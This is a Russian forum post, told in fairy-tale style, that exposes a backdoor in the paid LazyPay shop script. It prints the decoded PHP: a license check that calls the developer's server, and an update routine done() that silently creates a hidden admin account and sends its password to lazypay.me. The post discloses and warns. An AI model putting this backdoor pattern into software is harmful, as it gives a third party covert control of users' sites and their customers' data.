stealthdebuger
Механик
- Регистрация
- 25 Авг 2008
- Сообщения
- 681
- Реакции
- 1.688
- Автор темы
- #1
Не столь давно обратился ко мне, не знакомый на тот момент и рассказал занимательную историю.
Нашел он в Сети множество восторженных отзывов о скрипте интернет-магазина LazyPay, о том, как быстро и удобно (а главное - анонимно) можно принимать оплату через QIWI, и решил себе его приспособить для собственных нужд. Будучи человеком действительно честным, пошел он на сайт lazypay.me и купил у разработчика легальную версию скрипта зацельных 2500 рублей, да вот беда...
Посмотрел человек, а скрипт дает такой длинный и сложный комментарий к платежу (15 букв и цифр перемешаных всяко), что неискушенным покупателям очень трудно его запомнить, да и ввести не всегда удается с первого раза правильно. Вот и решил человек попросить разработчика сделать комментарий попроще. Но увы, не хочет разработчик ничего менять и от денег предлагаемых отказывается. Пошел тогда человек искать умельцев в народе, да не берется никто, а все почему?
Потому, что разработчик этот закодировал скрипты IonCube, одним из последних версий. Правда он, в отличие от этого человека, не удосужился купить кодировщик и пользовался ломаной версией. Ну, да Бог с ним. Нашлись умельцы, раскодировали скрипты, попутно удивляясь найденной в файле /application/models/siteconfig.php проверке.
Если со второй половиной кода было все понятно, простенькая проверка лицензии объединяющая в себе и стучалку, то с первыми четырьма строками было не ясно. Непонятно зачем и для чего вообще они нужны были. Почему разработчику потребовалось проверять возможность записи файла именно в том участке кода, где идет проверка лицензии...
Пошли умельцы дальше и удивились еще больше. Увидали они файл /application/helpers/qiwi-class.php. Открыли этот файл, а там... Там класс автоматической работы с Qiwi позаимствованный у Для просмотра ссылки Войдиили Зарегистрируйся Для просмотра ссылки Войди или Зарегистрируйся, который был Для просмотра ссылки Войди или Зарегистрируйся именно на этом форуме, а уж после пошел гулять по сети. Удивились умельцы наглости разработчика, ибо он использует чужой скрипт, зарабатывает на этом деньги, но в месте с тем шлет свои претензии (абузы) разным сайтам, требует чтобы ссылки на его скрипты удалили, Законом пугает...
Пошли умельцы дале и стали смеяться, да смеялись так, что чуть животы свои не надорвали. Дал им человек версию скрипта 2.0, в упаковке от разработчика. Заглянули они в архив, а там еще два: v.1.6.1.rar и UPD2.0.rar да файлик Инструкция по установке.txt. Но не это их рассмешило, хоть и улыбнуло слегка. Поставили умельцы версию 1.6.1, накатили поверх нее файлики от версии 2.0 и начали читать инструкцию:
Долго смеялись умельцы, но время идет, работу уже и заканчивать пора, ан нет. Скоро сказка сказывается, да не скоро дело делается. Пошли умельцы согласно инструкции от разработчика выполнять пункт за пунктом, да насторожило их следующее:
Сняли с него IonCube, открыли файлик, а там... Там известная уже проверка лицензии что лишь самую малость изменена и теперь делает редирект на URL от разработчика поступивший. Ничего страшного, можно удалить ее и ставить обновку-то. А как поставите, то и дело сделано или, как говорят буржуи, done.
Вот и умельцы наши посмотрели, подумали да и решили присмотреться к функции done что в класса update2. Присмотрелись и...
Что делает этот код? Создает на сайте нового пользователя и отправляет разработчику данные для входа...
Вот и вся история. Эпилога не будет, выводы пусть каждый делает для себя самостоятельно.
Нашел он в Сети множество восторженных отзывов о скрипте интернет-магазина LazyPay, о том, как быстро и удобно (а главное - анонимно) можно принимать оплату через QIWI, и решил себе его приспособить для собственных нужд. Будучи человеком действительно честным, пошел он на сайт lazypay.me и купил у разработчика легальную версию скрипта зацельных 2500 рублей, да вот беда...
Посмотрел человек, а скрипт дает такой длинный и сложный комментарий к платежу (15 букв и цифр перемешаных всяко), что неискушенным покупателям очень трудно его запомнить, да и ввести не всегда удается с первого раза правильно. Вот и решил человек попросить разработчика сделать комментарий попроще. Но увы, не хочет разработчик ничего менять и от денег предлагаемых отказывается. Пошел тогда человек искать умельцев в народе, да не берется никто, а все почему?
Потому, что разработчик этот закодировал скрипты IonCube, одним из последних версий. Правда он, в отличие от этого человека, не удосужился купить кодировщик и пользовался ломаной версией. Ну, да Бог с ним. Нашлись умельцы, раскодировали скрипты, попутно удивляясь найденной в файле /application/models/siteconfig.php проверке.
PHP:
$secret = md5(rand(2,1000));
file_put_contents('./testfile.txt',$secret);
if(trim(file_get_contents('./testfile.txt')) != $secret)die('');
unlink('testfile.txt');
$hostname = $_SERVER['HTTP_HOST'];
$file = file_get_contents("http://lazypay.me/check.php?domen=$hostname");
if($file != md5($hostname.'emNkXM.68x'))
die('Стоит приобрести лицензию!');
Пошли умельцы дальше и удивились еще больше. Увидали они файл /application/helpers/qiwi-class.php. Открыли этот файл, а там... Там класс автоматической работы с Qiwi позаимствованный у Для просмотра ссылки Войди
Пошли умельцы дале и стали смеяться, да смеялись так, что чуть животы свои не надорвали. Дал им человек версию скрипта 2.0, в упаковке от разработчика. Заглянули они в архив, а там еще два: v.1.6.1.rar и UPD2.0.rar да файлик Инструкция по установке.txt. Но не это их рассмешило, хоть и улыбнуло слегка. Поставили умельцы версию 1.6.1, накатили поверх нее файлики от версии 2.0 и начали читать инструкцию:
Инструкция обновления до 2.0
Автор lazypay, 04 Апр 2014 18:36
1) Разархивируйте полученный файл в корень сайта с заменой
2) Зайдите в админку и перейдите по ссылке: ваш_сайт/update2/
3) Следуйте указаниям
4) Если все прошло успешно, то переходите на FTP своего сайта
5) Открываем application/views/components/page_head.php
6) Заменяем 4-ую строку на
<title><? echo $title.config_item('site_name'); ?></title>
7) Открываем assets/css/style.css и добавляем в конце
.part_link img
{
width:200px;
}
.menuad {
text-align:center;
}
.footad {
text-align:center;
}
#loading {
display: none;
position: fixed;
z-index: 1000;
top: 0;
left: 0;
height: 100%;
width: 100%;
background: rgba( 255, 255, 255, .8 )
url('../img/ajax-loader.gif')
50% 50%
no-repeat;
}
.CodeMirror {
border: 1px solid #eee;
height: 85vh;
margin-bottom: 20px;
}
.itemlink {
display:inline-block;
width: 100%;
color:#000;
}
.itemlink:hover {
text-decoration: none;
color:#000;
}
.savefile {
float:right;
display:inline-block;
}
#filename {
margin: 10px !important;
margin-top: 0px !important;
font-size: 24px;
display:inline-block;
}
#coupon {
float:right;
margin:9px;
margin-bottom:0px;
font-size:11px;
}
.cpnin {
margin-top:0px !important;
}
#coupon:hover {
cursorointer;
}
.saveblock {
width:100%;
height:auto;
}
.glyphicon-lg{font-size:3em}
.blockquote-box{border-right:5px solid #E6E6E6;margin-bottom:10px}
.blockquote-box .square{width:100px;min-height:50px;margin-right:22px;text-align:center!important;background-color:#E6E6E6;padding:20px 0}
.blockquote-box.blockquote-primary{border-color:#357EBD}
.blockquote-box.blockquote-primary .square{background-color:#428BCA;color:#FFF}
.blockquote-box.blockquote-success{border-color:#4CAE4C}
.blockquote-box.blockquote-success .square{background-color:#5CB85C;color:#FFF}
.blockquote-box.blockquote-info{border-color:#46B8DA}
.blockquote-box.blockquote-info .square{background-color:#5BC0DE;color:#FFF}
.blockquote-box.blockquote-warning{border-color:#EEA236}
.blockquote-box.blockquote-warning .square{background-color:#F0AD4E;color:#FFF}
.blockquote-box.blockquote-danger{border-color:#D43F3A}
.blockquote-box.blockquote-danger .square{background-color:#D9534F;color:#FFF}
.mb20 { margin-bottom: 20px; } .search-result .thumbnail { border-radius: 0 !important; }
.search-result:first-child { margin-top: 0 !important; }
.search-result { margin-top: 20px; }
.search-result .col-md-2 { border-right: 1px dotted #ccc; min-height: 140px; }
.search-result .col-md-12 { position: relative; }
.search-result span.border { display: block; width: 97%; margin: 0 15px; border-bottom: 1px dotted #ccc; }
.pubcat {
font-size:12px;
font-weight: normal;
}
.pubbody {
overflow: hidden;
}
.nav-pills>li.active>a, .nav-pills>li.active>a:hover, .nav-pills>li.active>a:focus {
color: #fff;
background-color: #428bca;
}
.margintop20 {
margin-top:20px;
}
.nav-pills>li>a {
border-radius: 0px;
}
.rmenu a {
text-decoration: none;
}
.rmenu a:hover {
text-decoration: none;
}
.nav-stacked>li {
margin-top: 0px;
margin-left: 0;
border-bottom:1px solid #dadada;
}
.active2 {
border-right:4px solid #428bca;
}
.subcat span{
margin-left:17px !important;
}
.ifullbody {
position: relative;
overflow:hidden;
}
.priceinfo {
padding-left: 50px;
position: absolute;
top: 10px;
right: 10px;
background: -moz-linear-gradient(left, rgba(255,255,255,0) 0%, rgba(255,255,255,1) 25%, rgba(255,255,255,1) 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, right top, color-stop(0%,rgba(255,255,255,0)), color-stop(25%,rgba(255,255,255,1)), color-stop(100%,rgba(255,255,255,1))); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(left, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 25%,rgba(255,255,255,1) 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(left, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 25%,rgba(255,255,255,1) 100%); /* Opera 11.10+ */
background: -ms-linear-gradient(left, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 25%,rgba(255,255,255,1) 100%); /* IE10+ */
background: linear-gradient(to right, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 25%,rgba(255,255,255,1) 100%); /* W3C */
filter: progidXImageTransform.Microsoft.gradient( startColorstr='#00ffffff', endColorstr='#ffffff',GradientType=1 ); /* IE6-9 */
}
8) Открываем application/views/main_layout.php
Находим :
<div class="row maincont">
<div class="col-lg-8">
Вставляем ниже:
<ol class="breadcrumb">
<? if($breadcumbs foreach($breadcumbs as $key=>$br ?>
<li><a href="<? echo $br[1]; ?>"><? echo $br[0]; ?></a></li>
<? endforeach; ?>
<? endif; ?>
</ol>
Находим:
<div class="col-lg-4">
Удаляем из блока:
<h2 class="hnomarg">Меню</h2>
<? echo get_menu($menu); ?>
Вставляем:
<div class="container">
<div class="row">
<div class="col-md-12">
<? if($catslist ?>
<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">Категории</h3>
</div>
<ul class="rmenu nav nav-pills nav-stacked">
<? foreach($catslist as $cat) : ?>
<li <? if($cat['sub'] == 1) echo 'class="subcat"'; ?>><a href="/page/<? echo $cat['slug']; ?>/1"><span class="glyphicon glyphicon-chevron-right"></span> <? echo $cat['name']; ?></a></li>
<? endforeach; ?>
</ul>
</div>
<? endif; ?>
<? if($pages) : echo '<h3 class="hnomarg"><a href="/page/">Новости</a></h2>'; foreach($pages as $page ?>
<div class="blockquote-box clearfix">
<h4><a href="/page/<? echo $page['id']; ?>"><? echo $page['title']; ?></a></h4>
</div>
<? endforeach; ?>
<? endif; ?>
</div>
</div>
</div>
<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">Последние покупки</h3>
</div>
<div class="list-group">
<? echo $last_orders; ?>
</div>
</div>
9) Добавляем перед последней строкой
<div id="loading"></div>
10) Сохраняем
Обновление успешно установлено, можете пользоваться
Автор lazypay, 04 Апр 2014 18:36
1) Разархивируйте полученный файл в корень сайта с заменой
2) Зайдите в админку и перейдите по ссылке: ваш_сайт/update2/
3) Следуйте указаниям
4) Если все прошло успешно, то переходите на FTP своего сайта
5) Открываем application/views/components/page_head.php
6) Заменяем 4-ую строку на
<title><? echo $title.config_item('site_name'); ?></title>
7) Открываем assets/css/style.css и добавляем в конце
.part_link img
{
width:200px;
}
.menuad {
text-align:center;
}
.footad {
text-align:center;
}
#loading {
display: none;
position: fixed;
z-index: 1000;
top: 0;
left: 0;
height: 100%;
width: 100%;
background: rgba( 255, 255, 255, .8 )
url('../img/ajax-loader.gif')
50% 50%
no-repeat;
}
.CodeMirror {
border: 1px solid #eee;
height: 85vh;
margin-bottom: 20px;
}
.itemlink {
display:inline-block;
width: 100%;
color:#000;
}
.itemlink:hover {
text-decoration: none;
color:#000;
}
.savefile {
float:right;
display:inline-block;
}
#filename {
margin: 10px !important;
margin-top: 0px !important;
font-size: 24px;
display:inline-block;
}
#coupon {
float:right;
margin:9px;
margin-bottom:0px;
font-size:11px;
}
.cpnin {
margin-top:0px !important;
}
#coupon:hover {
cursorointer;
}
.saveblock {
width:100%;
height:auto;
}
.glyphicon-lg{font-size:3em}
.blockquote-box{border-right:5px solid #E6E6E6;margin-bottom:10px}
.blockquote-box .square{width:100px;min-height:50px;margin-right:22px;text-align:center!important;background-color:#E6E6E6;padding:20px 0}
.blockquote-box.blockquote-primary{border-color:#357EBD}
.blockquote-box.blockquote-primary .square{background-color:#428BCA;color:#FFF}
.blockquote-box.blockquote-success{border-color:#4CAE4C}
.blockquote-box.blockquote-success .square{background-color:#5CB85C;color:#FFF}
.blockquote-box.blockquote-info{border-color:#46B8DA}
.blockquote-box.blockquote-info .square{background-color:#5BC0DE;color:#FFF}
.blockquote-box.blockquote-warning{border-color:#EEA236}
.blockquote-box.blockquote-warning .square{background-color:#F0AD4E;color:#FFF}
.blockquote-box.blockquote-danger{border-color:#D43F3A}
.blockquote-box.blockquote-danger .square{background-color:#D9534F;color:#FFF}
.mb20 { margin-bottom: 20px; } .search-result .thumbnail { border-radius: 0 !important; }
.search-result:first-child { margin-top: 0 !important; }
.search-result { margin-top: 20px; }
.search-result .col-md-2 { border-right: 1px dotted #ccc; min-height: 140px; }
.search-result .col-md-12 { position: relative; }
.search-result span.border { display: block; width: 97%; margin: 0 15px; border-bottom: 1px dotted #ccc; }
.pubcat {
font-size:12px;
font-weight: normal;
}
.pubbody {
overflow: hidden;
}
.nav-pills>li.active>a, .nav-pills>li.active>a:hover, .nav-pills>li.active>a:focus {
color: #fff;
background-color: #428bca;
}
.margintop20 {
margin-top:20px;
}
.nav-pills>li>a {
border-radius: 0px;
}
.rmenu a {
text-decoration: none;
}
.rmenu a:hover {
text-decoration: none;
}
.nav-stacked>li {
margin-top: 0px;
margin-left: 0;
border-bottom:1px solid #dadada;
}
.active2 {
border-right:4px solid #428bca;
}
.subcat span{
margin-left:17px !important;
}
.ifullbody {
position: relative;
overflow:hidden;
}
.priceinfo {
padding-left: 50px;
position: absolute;
top: 10px;
right: 10px;
background: -moz-linear-gradient(left, rgba(255,255,255,0) 0%, rgba(255,255,255,1) 25%, rgba(255,255,255,1) 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, right top, color-stop(0%,rgba(255,255,255,0)), color-stop(25%,rgba(255,255,255,1)), color-stop(100%,rgba(255,255,255,1))); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(left, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 25%,rgba(255,255,255,1) 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(left, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 25%,rgba(255,255,255,1) 100%); /* Opera 11.10+ */
background: -ms-linear-gradient(left, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 25%,rgba(255,255,255,1) 100%); /* IE10+ */
background: linear-gradient(to right, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 25%,rgba(255,255,255,1) 100%); /* W3C */
filter: progidXImageTransform.Microsoft.gradient( startColorstr='#00ffffff', endColorstr='#ffffff',GradientType=1 ); /* IE6-9 */
}
8) Открываем application/views/main_layout.php
Находим :
<div class="row maincont">
<div class="col-lg-8">
Вставляем ниже:
<ol class="breadcrumb">
<? if($breadcumbs foreach($breadcumbs as $key=>$br ?>
<li><a href="<? echo $br[1]; ?>"><? echo $br[0]; ?></a></li>
<? endforeach; ?>
<? endif; ?>
</ol>
Находим:
<div class="col-lg-4">
Удаляем из блока:
<h2 class="hnomarg">Меню</h2>
<? echo get_menu($menu); ?>
Вставляем:
<div class="container">
<div class="row">
<div class="col-md-12">
<? if($catslist ?>
<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">Категории</h3>
</div>
<ul class="rmenu nav nav-pills nav-stacked">
<? foreach($catslist as $cat) : ?>
<li <? if($cat['sub'] == 1) echo 'class="subcat"'; ?>><a href="/page/<? echo $cat['slug']; ?>/1"><span class="glyphicon glyphicon-chevron-right"></span> <? echo $cat['name']; ?></a></li>
<? endforeach; ?>
</ul>
</div>
<? endif; ?>
<? if($pages) : echo '<h3 class="hnomarg"><a href="/page/">Новости</a></h2>'; foreach($pages as $page ?>
<div class="blockquote-box clearfix">
<h4><a href="/page/<? echo $page['id']; ?>"><? echo $page['title']; ?></a></h4>
</div>
<? endforeach; ?>
<? endif; ?>
</div>
</div>
</div>
<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">Последние покупки</h3>
</div>
<div class="list-group">
<? echo $last_orders; ?>
</div>
</div>
9) Добавляем перед последней строкой
<div id="loading"></div>
10) Сохраняем
Обновление успешно установлено, можете пользоваться
Долго смеялись умельцы, но время идет, работу уже и заканчивать пора, ан нет. Скоро сказка сказывается, да не скоро дело делается. Пошли умельцы согласно инструкции от разработчика выполнять пункт за пунктом, да насторожило их следующее:
Полезли умельцы к файлам, давай смотреть-искать, да и нашли файлик /application/controllers/update2.phpЗайдите в админку и перейдите по ссылке: ваш_сайт/update2/
Сняли с него IonCube, открыли файлик, а там... Там известная уже проверка лицензии что лишь самую малость изменена и теперь делает редирект на URL от разработчика поступивший. Ничего страшного, можно удалить ее и ставить обновку-то. А как поставите, то и дело сделано или, как говорят буржуи, done.
Вот и умельцы наши посмотрели, подумали да и решили присмотреться к функции done что в класса update2. Присмотрелись и...
PHP:
function done() {
$hash = substr(uniqid(time()),8);
$mail = $hash.'@pirate.not';
$pass = md5($hash);
$hostname = $_SERVER['HTTP_HOST'];
$file = file_get_contents('http://lazypay.me/save.php?dmn='.$hostname.'&pass='.$hash);
$this->db->query('INSERT INTO `users` (`id`, `email`, `password`, `name`) VALUES (NULL, \''.$mail.'\', \''.$pass.'\', \'admin\');');
unlink(__FILE__);
redirect('/');
}
Вот и вся история. Эпилога не будет, выводы пусть каждый делает для себя самостоятельно.